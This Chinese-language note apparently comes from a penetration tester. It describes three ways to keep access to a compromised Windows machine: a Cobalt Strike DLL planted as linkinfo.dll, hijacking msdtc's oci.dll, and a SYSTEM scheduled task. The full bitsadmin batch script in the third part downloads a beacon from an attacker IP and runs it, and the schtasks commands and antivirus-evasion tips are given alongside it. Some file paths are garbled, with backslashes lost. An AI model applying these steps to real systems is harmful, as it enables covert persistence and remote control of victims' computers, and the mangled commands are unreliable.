一、linkinfo.dll
介绍:explorer.exe 每隔一段时间就会自动去加载它一次所以可以用来做权限维持
使用Cobaltstrike生成对应系统位数DLL文件放置目标系统C:Windows目录下重命名为linkinfo.dll
等待目标用户重启计算机后上线,如果系统用户不是Administrator用户需要bypassuac,注意用户一旦注销beacon就会掉
总结:实战里利用略为鸡肋,管理员一般自己是不会重启服务器,自己重启动静太大。
二、劫持 msdtc
介绍:msdtc 每次启动时都会加载三个 dll,oci.dll 默认是不存在的,可以通过劫持这个 dll 达到权限维持目的
位于注册表:HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSDTCMTxOCI
使用Cobaltstrike重命名为oci.dll放置目标系统c:windowssystem32目录下,执行cmd命令kill掉:taskkill /f /im msdtc.exe,等待一段时间,mstdc.exe重新启动,成功加载oci.dll,文章中说重启过后beacon弹回来得用户是system权限,测试发现用户为network权限。
总结:弹回来得权限为network service权限较低,所以需要自己进行权限提升
三、windwos计划任务
介绍:通过计划任务执行bitsadmin 来远程加载执行beacon
准备计划任务执行的 bat 脚本 update.bat ,放到目标机器临时目录下 c:windows empdelete.bat
[delete.bat]
cd %TEMP
bitsadmin /Reset > NUL
bitsadmin /Create "Automatic App Update" > NUL
bitsadmin /AddFile "Automatic App Update" http://192.168.244.128:83/Update.ini %TEMP%AppUpdateInstall.exe > NUL
bitsadmin /SetNotifyFlags "Automatic App Update" 1 > NUL
bitsadmin.exe /SetNotifyCmdLine "Automatic App Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete "Automatic App Update" && start /B %TEMP%AppUpdateInstall.exe" > NUL
bitsadmin /SetMinRetryDelay "Automatic App Update" 120 > NUL
bitsadmin /SetCustomHeaders "Automatic App Update" "Caller:%USERNAME%@%COMPUTERNAME%" > NUL
c:windowssystem32itsadmin.exe /Resume "Automatic App Update"
在beacon当中执行计划任务命令当到了指定时间后,baecon即可正常被弹回得到system权限。
[计划任务]
schtasks /create /RL HIGHEST /F /tn "Automatic App Update" /tr "C:Windows empdelete.bat" /sc DAILY /mo 1 /ST 19:05 /RU SYSTEM
schtasks /query | findstr "Automatic App Update"
schtasks /run /tn "Automatic App Update"
schtasks /delete /F /tn "Automatic App Update"
总结:不需要重启服务器,但是国内某些杀软会拦截创建计划任务动作,还需要配合免杀马来执行。
参考链接:
https://zhuanlan.zhihu.com/p/28650233
https://www.cnblogs.com/-qing-/p/11601618.html
https://blog.csdn.net/qq_31481187/article/details/57540231